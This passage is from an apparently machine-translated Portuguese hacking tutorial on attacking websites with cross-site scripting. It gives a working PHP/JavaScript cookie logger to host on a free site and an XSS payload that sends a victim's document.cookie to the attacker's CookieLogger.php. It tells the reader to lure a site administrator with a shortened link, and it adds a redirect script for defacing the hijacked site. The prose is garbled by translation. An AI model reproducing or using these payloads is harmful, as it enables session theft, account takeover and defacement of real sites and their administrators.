pode encontrar com estes idiotas.Avancado XSSAgora vamos aprender a usar essas coisas para atacar websites.Keep em mente que isso e completamente ilegal e voce pode ser pego e pode ser cobrado por crime para fazer this.So tomar precaucoes sempre.Roubar CookiesEntao, agora vamos usar o metodo Cookies roubar para fazer o attack.It e um tipo especial de biscoito / logger que registra o usuario que acessa esse page.So existem muitas maneiras de fazer isso, mas aqui e um metodo facil.Portanto, neste metodo, voce precisara configurar um website.So ir para algum sites.I hospedagem preferem http://www.000webhost.com e criar uma conta no que website.Go para gerenciador de arquivos e criar um novo arquivo de texto em it.Name ele qualquer coisa como cookielog.txt ou algo parecido t that.Don enter nada para ele it.Leave blank.Create outro arquivo txt e nomeie-o algo cookiellogger.txt.So exemplo different.For iremos adicionar algum codigo em -lo para que ele possa enviar logs para o file.So cookielog.txt abrir o arquivo de texto 2 e digite este codigo:Citacao:12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758<?php if(strlen($_SERVER['QUERY_STRING']) > 0) {$fp=fopen('./CookieLog.txt', 'a');fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");fclose($fp);} else {?> var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>'; function URLEncode(str){// The Javascript escape and unescape functions do not correspond// with what browsers actually do...var SAFECHARS = "0123456789" + // Numeric"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // Alphabetic"abcdefghijklmnopqrstuvwxyz" +"-_.!~*'()"; // RFC2396 Mark charactersvar HEX = "0123456789ABCDEF"; var plaintext = str;var encoded = "";for (var i = 0; i < plaintext.length; i++ ) {var ch = plaintext.charAt(i);if (ch == " ") {encoded += "+"; // x-www-urlencoded, rather than %20} else if (SAFECHARS.indexOf(ch) != -1) {encoded += ch;} else {var charCode = ch.charCodeAt(0);if (charCode > 255) {alert( "Unicode Character '"+ ch+ "' cannot be encoded using standard URL encoding.\n" +"(URL encoding only supports 8-bit characters.)\n" +"A space (+) will be substituted." );encoded += "+";} else {encoded += "%";encoded += HEX.charAt((charCode >> 4) & 0xF);encoded += HEX.charAt(charCode & 0xF);}}} // for return encoded;}; cookie = URLEncode(document.cookie);html = '<img src="'+ownUrl+'?'+cookie+'">';document.write(html); < ?php}?>Entao esse e o script.Agora no cookielogger precisamos mandar essa mensagem para o administrador do site website.So alvo mais provavelmente o administrador nao vai olhar it.Since temos que convence-lo, vamos encurtar o url.Go para http:// www.spam.com/ e encurtar a sua URL.And ja que queremos adicionar vulnerabilidade, precisamos adicionar algum codigo tambem. Entao, adicione este codigo apos a URL e reduzi-lo.Citacao:1<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>Envie o link para o administrador e esperar para que ele clique it.You precisa ter sorte para o administrador clicar nele Uma vez que ele clicou, voce tera a cookie.Now voce pode usar algumas ferramentas como o addon gerenciador de cookies que voce comeca para Mozilla e jogar em torno dele. Sua addon muito bom e realmente ajuda a fazer um monte!DefaceEntao agora podemos desfigurar a website.Isso e, a publicacao que voce ganhou controle sobre o site fazendo uma pagina de desfigurar ou something.Now voce precisa usar um pequeno script para redirecionar todo mundo que visita o site para a pagina de desfigurar.Citacao:1<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>Substitua a sintaxe com a sua pagina desfigurar site.Ignorando o filtro XSSAssim, na maioria das vezes, o simples script nao vai dar o pop-up message.It costuma ignorar o filter.So voce tem que usar